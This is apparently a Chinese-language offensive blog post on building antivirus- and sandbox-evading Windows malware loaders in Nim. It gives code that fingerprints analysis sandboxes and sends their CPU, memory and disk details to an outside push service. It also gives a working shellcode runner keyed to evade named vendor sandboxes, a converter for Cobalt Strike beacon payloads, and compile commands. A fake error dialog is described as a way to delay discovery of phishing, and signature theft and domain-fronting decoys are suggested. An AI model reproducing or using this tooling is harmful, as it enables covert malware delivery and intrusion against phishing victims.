0x01 获得各沙箱平台的系统信息
- 利用bark软件接受http请求,回显沙箱系统配置
- 获得cpu和运行内存,通用沙箱过滤 <2 <2048的机器
- 微步Win10沙箱cpu为4核,运行内存6143mb,C盘容量136829726720
- 微步Win7_x64沙箱cpu为4核,运行内存6143mb,C盘容量137331994624
- 奇安信沙箱cpu为4核,运行内存8190mb,C盘容量322015588352
- cpu为4核,运行内存8191mb, C盘容量239981297664 (这个大概率是QAX的,不太确定,不是直接收到的请求)
- VT平台沙箱,会有很多请求,根据代码设置的时间戳区分收到的机器配置
- 具体都什么配置自行尝试,挺多的,且带有持续性,停不下来,很多人用vt的接口下载下来分析
- 后面发现大部分的VT沙箱都可以根据通用沙箱过滤规则过滤掉,出现最多的配置是2047和2
- 360的在线沙箱平台不支持x64程序,所以不构成威胁,360安全卫士或者杀毒的自动上传本地文件到云沙箱功能还没时间测试
下面是使用NIM获得我想要的信息的具体代码,而且必须吐槽一下,NIM很恶心,可以说是ctrl c v的宿敌,资料少的可怜到爆炸
import winlean,HttpClient,times
#auther:https://github.com/sv3nbeast
type
TPartitionInfo* = tuple[FreeSpace, TotalSpace: FileTime]
HANDLE* = int
HWND* = HANDLE
UINT* = int32
LPCSTR* = cstring
let randNum = $getTime().toUnix()
proc getFileSize*(file: string): BiggestInt =
## Retrieves the size of the specified file.
var fileData: WIN32_FIND_DATA
when useWinUnicode:
var aa = newWideCString(file)
let hFile = findFirstFileW(aa, fileData)
else:
let hFile = findFirstFileA(file, fileData)
if hFile == INVALID_HANDLE_VALUE:
raise newException(IOError, $getLastError())
return fileData.nFileSizeLow
proc getDiskFreeSpaceEx*(lpDirectoryName: cstring, lpFreeBytesAvailableToCaller,
lpTotalNumberOfBytes,
lpTotalNumberOfFreeBytes: var FileTime): WINBOOL{.
stdcall, dynlib: "kernel32", importc: "GetDiskFreeSpaceExA".}
#获得磁盘情况
proc getPartitionInfo*(partition: string): TPartitionInfo =
# Retrieves partition info, for example ``partition`` may be ``"C:\"``
#freeBytes:已使用字节
#totalBytes:磁盘总容量
var freeBytes, totalBytes, totalFreeBytes: FileTime
discard getDiskFreeSpaceEx(partition, freeBytes, totalBytes,
totalFreeBytes)
# var num = rdFileTime(totalBytes)
# var client = newHttpClient()
# var url = "http://api.day.app/VRzPbPFcQCYKtS3wr7Tbgf/disk/" #获得磁盘总容量
# url.add($randNum)
# url.add(": ")
# url.add($num)
# try:
# var err = client.getContent(url)
# except:
# return (freeBytes,totalBytes)
return (freeBytes,totalBytes)
#获取cpu数量
proc huasidsiuohiuodsaih():int =
when defined(windows):
type
SYSTEM_INFO {.final, pure.} = object
u1: int32
dwPageSize: int32
lpMinimumApplicationAddress: pointer
lpMaximumApplicationAddress: pointer
dwActiveProcessorMask: ptr int32
dwNumberOfProcessors: int32
dwProcessorType: int32
dwAllocationGranularity: int32
wProcessorLevel: int16
wProcessorRevision: int16
proc GetSystemInfo(lpSystemInfo: var SYSTEM_INFO) {.stdcall, dynlib: "kernel32", importc: "GetSystemInfo".}
var
si: SYSTEM_INFO
GetSystemInfo(si)
# var num = si.dwNumberOfProcessors
# var client = newHttpClient()
# var url = "http://api.day.app/VRzPbPFcQCYKtS3wr7Tbgf/cpu/"
# url.add($randNum)
# url.add(": ")
# url.add($num)
# try:
# var err = client.getContent(url)
# except:
# return si.dwNumberOfProcessors
return si.dwNumberOfProcessors
#获取内存大小
proc ihojhhasioadsoiihodas():int64 =
when defined(windows):
type
TMEMORYSTATUSEX {.final, pure.} = object
dwLength: int32
dwMemoryLoad: int32
ullTotalPhys: int64
ullAvailPhys: int64
ullTotalPageFile: int64
ullAvailPageFile: int64
ullTotalVirtual: int64
ullAvailVirtual: int64
ullAvailExtendedVirtual: int64
proc globalMemoryStatusEx(lpBuffer: var TMEMORYSTATUSEX) {.stdcall, dynlib: "kernel32",importc: "GlobalMemoryStatusEx".}
var statex: TMEMORYSTATUSEX
statex.dwLength = sizeof(statex).int32
globalMemoryStatusEx(statex)
# var num = statex.ullTotalPhys shr 20
# var client = newHttpClient()
# var url = "http://api.day.app/VRzPbPFcQCYKtS3wr7Tbgf/ram/"
# url.add($randNum)
# url.add(": ")
# url.add($num)
# try:
# var err = client.getContent(url)
# except:
# return statex.ullTotalPhys shr 20
return statex.ullTotalPhys shr 20
when defined(windows):
when isMainModule:
var huasidsiuohiuodsaih1 = huasidsiuohiuodsaih() #cpu
var ihojhhasioadsoiihodas1 = ihojhhasioadsoiihodas() #ram
var saolkpomsiejskraqjgir1 = rdFileTime(getPartitionInfo(r"C:\")[1]) #disk
var client = newHttpClient()
var url = "http://api.day.app/VRzPbPFcQCYKtS3wr7Tbgf/Defender/"
url.add($huasidsiuohiuodsaih1)
url.add(":")
url.add($ihojhhasioadsoiihodas1)
url.add(":")
url.add($saolkpomsiejskraqjgir1)
var jsfile = "https://hectorstatic.baidu.com/cd37ed75a9387c5b.js"
try:
var err = client.getContent(url)
except:
echo "Success!"
0x02 制作免杀EXE
具体代码
带免沙箱代码的NIM执行shellcode代码,目前VT的沙箱特征没加,有待收集齐全,有空再说吧
import winlean,HttpClient,winim
#auther:https://github.com/sv3nbeast
type
TPartitionInfo* = tuple[FreeSpace, TotalSpace: winlean.FILETIME]
HANDLE* = int
HWND* = HANDLE
UINT* = int32
LPCSTR* = cstring
proc MessageBox*(hWnd: HWND, lpText: LPCSTR, lpCaption: LPCSTR, uType: UINT): int32
{.discardable, stdcall, dynlib: "user32", importc: "MessageBoxA".}
proc getFileSize*(file: string): BiggestInt =
## Retrieves the size of the specified file.
var fileData: winlean.WIN32_FIND_DATA
when useWinUnicode:
var aa = newWideCString(file)
let hFile = findFirstFileW(aa, fileData)
else:
let hFile = findFirstFileA(file, fileData)
if hFile == winlean.INVALID_HANDLE_VALUE:
raise newException(IOError, $getLastError())
return fileData.nFileSizeLow
proc getDiskFreeSpaceEx*(lpDirectoryName: cstring, lpFreeBytesAvailableToCaller,
lpTotalNumberOfBytes,
lpTotalNumberOfFreeBytes: var winlean.FILETIME): winlean.WINBOOL{.
stdcall, dynlib: "kernel32", importc: "GetDiskFreeSpaceExA".}
#获得磁盘情况
proc getPartitionInfo*(partition: string): TPartitionInfo =
#freeBytes:已使用字节
#totalBytes:磁盘总容量
var freeBytes, totalBytes, totalFreeBytes: winlean.FILETIME
discard getDiskFreeSpaceEx(partition, freeBytes, totalBytes,
totalFreeBytes)
return (freeBytes,totalBytes)
#获取cpu数量
proc huasidsiuohiuodsaih():int =
when defined(windows):
type
SYSTEM_INFO {.final, pure.} = object
u1: int32
dwPageSize: int32
lpMinimumApplicationAddress: pointer
lpMaximumApplicationAddress: pointer
dwActiveProcessorMask: ptr int32
dwNumberOfProcessors: int32
dwProcessorType: int32
dwAllocationGranularity: int32
wProcessorLevel: int16
wProcessorRevision: int16
proc GetSystemInfo(lpSystemInfo: var SYSTEM_INFO) {.stdcall, dynlib: "kernel32", importc: "GetSystemInfo".}
var
si: SYSTEM_INFO
GetSystemInfo(si)
return si.dwNumberOfProcessors
#获取内存大小
proc ihojhhasioadsoiihodas():int64 =
when defined(windows):
type
TMEMORYSTATUSEX {.final, pure.} = object
dwLength: int32
dwMemoryLoad: int32
ullTotalPhys: int64
ullAvailPhys: int64
ullTotalPageFile: int64
ullAvailPageFile: int64
ullTotalVirtual: int64
ullAvailVirtual: int64
ullAvailExtendedVirtual: int64
proc globalMemoryStatusEx(lpBuffer: var TMEMORYSTATUSEX) {.stdcall, dynlib: "kernel32",importc: "GlobalMemoryStatusEx".}
var statex: TMEMORYSTATUSEX
statex.dwLength = sizeof(statex).int32
globalMemoryStatusEx(statex)
return statex.ullTotalPhys shr 20
proc innerMain(shellcode: ptr, size: int): void = #shellcode执行主体
let tProcess = GetCurrentProcessId()
var pHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess)
let rPtr = VirtualAllocEx(
pHandle,
NULL,
cast[SIZE_T](size),
MEM_COMMIT,
PAGE_EXECUTE_READ_WRITE
)
copyMem(rPtr, shellcode, size)
let f = cast[proc(){.nimcall.}](rPtr)
f()
when defined(windows):
when isMainModule:
# MessageBox(0, (LPCWSTR)(L"无法打开文档,因为计算机中丢失 MSVCP140.dll。 尝试重新安装该程序以解决此问题。"), "Error", MB_OK) #部分钓鱼情况开启此功能,让中招者解决电脑玄学问题从而延迟钓鱼邮件发现时间
var huasidsiuohiuodsaih1 = huasidsiuohiuodsaih() #cpu
var ihojhhasioadsoiihodas1 = ihojhhasioadsoiihodas() #ram
var saolkpomsiejskraqjgir1 = rdFileTime(getPartitionInfo(r"C:\")[1]) #disk
if not (huasidsiuohiuodsaih1 == 4 and ihojhhasioadsoiihodas1 == 6143 and saolkpomsiejskraqjgir1 == 136829726720): #微步win10沙箱
if not (huasidsiuohiuodsaih1 == 4 and ihojhhasioadsoiihodas1 == 6143 and saolkpomsiejskraqjgir1 == 137331994624): #微步win7沙箱
if not (huasidsiuohiuodsaih1 == 4 and ihojhhasioadsoiihodas1 == 8190 and saolkpomsiejskraqjgir1 == 322015588352): #qax的win7沙箱
if huasidsiuohiuodsaih1 > 2 and ihojhhasioadsoiihodas1 > 2046: #通用沙箱
const sc_length: int = 1000
#输入shellcode
var shellcode: seq[byte] = @[byte 0x4D,0x5A,0x41,0x52,0x55,0x48] #Replace with your own shellcode
var shellcodePtr = (cast[ptr array[sc_length, byte]](addr shellcode[0]))
innerMain(shellcodePtr, len(shellcode))
shellcode生成办法
第一种
使用CS生成raw格式的,cs有两个位置可以生成raw包,注意位置,意思大概是shellcode分为无状态和有状态,具体那个是那个记不清了,区别是一个直接上线,一个还要再向CS服务端请求一个stage文件,这个是直接上线的生成方式,生成的raw需要进行二次处理转变为0x00格式的,写好的python代码奉上
#!/usr/bin python3
# -*- coding: utf-8 -*-
#auther:https://github.com/sv3nbeast
import binascii,re
def analysis(bin_path: str, out_txt_path: str,out_file_path_0x: str):
with open(bin_path, 'rb') as f:
# 读取全部行
all_data = f.readlines()
with open(out_txt_path, 'a+') as new_f:
for i in all_data:
# 二进制(bytes)类型转换成十六进制类型
hex_str = binascii.b2a_hex(i).decode('unicode_escape')
# 以str格式逐行写入到文本
new_f.write(str(hex_str).swapcase())
print("hex转换完成")
with open(out_txt_path,'r') as hex:
with open(out_file_path_0x,'a+') as payload:
all_data = hex.readlines()
d = ''
for i in all_data:
b = re.findall(r'.{2}',i)
c = ',0x'.join(b)
d = d + c
f = "0x" + d
payload.write(f)
print("payload转换完成")
if __name__ == '__main__':
input_file_path = "./beacon.bin"
out_file_path = "./hex.txt"
out_file_path_0x = "./0x00.txt"
analysis(input_file_path, out_file_path,out_file_path_0x)
第二种
直接获得0x00格式的shellcode,这个生成简单,不过会多个请求cs服务端的url特征
mac的编译命令
nim c -d:mingw -d:release --opt:speed --app:gui --cpu:amd64 sven.nim
--opt的speed意思是速度优化
--opt的size意思是文件大小优化
--app的gui意思是执行exe的时候不出现黑框
--app的console意思是执行exe的时候出现黑框,我用来输出信息调试代码,以后查杀gui严格后可以改用console在用代码关闭黑框,代码已实现
win的编译命令
nim c --opt:size -d:release --app:gui sven.nim
命令的意思和mac一样
钓鱼
其中的MessageBox这行代码和钓鱼有关系,也可以自行根据实际情况改,弹个框,引导中招的人解决电脑的玄学问题,延迟钓鱼邮件发现时间
生成文件大小
根据shellcode的区别,最终编译的文件大小如下
-
800-900kb
-
300-500kb
0x03 为啥能免杀
-
主要是用了NIM语言本身的小众,他自带大部分的免杀效果,还能配合mac的交叉编译
-
同时如果选择生成shellcode方法是第一种(当然不论哪种目前都是可以的),那么cs生成的是stageless的shellcode,这种的shellcode不会再去向服务器发起获取stage的请求,也就是说减少了那个请求cs的checksum8特征url,url大概长这样 http:test.safe.com/Hjla
0x04 继续增加免杀效果
-
利用SigThief增加数字签名,同样可以增加存活一段时间
-
对shellcode加密,防止硬编码在NIM,目前代码已实现,是自己也在用的一个版本,不过这种制作方式暂时还不到必须用的地步,先等不加密的被杀了再用
-
沙箱会对EXE的静态分析中正则匹配URL,所以可以静态加入一些正规域名的url链接配合域前置的正规域名混淆视听,我的域前置根域名是baidu.com,所以我加入的是baidu的链接,当然只是为了干扰那些只是根据沙箱运行结果进行人工判断的摸鱼防守,一点恶趣味
-
毕竟不是专业的,受限代码水平哈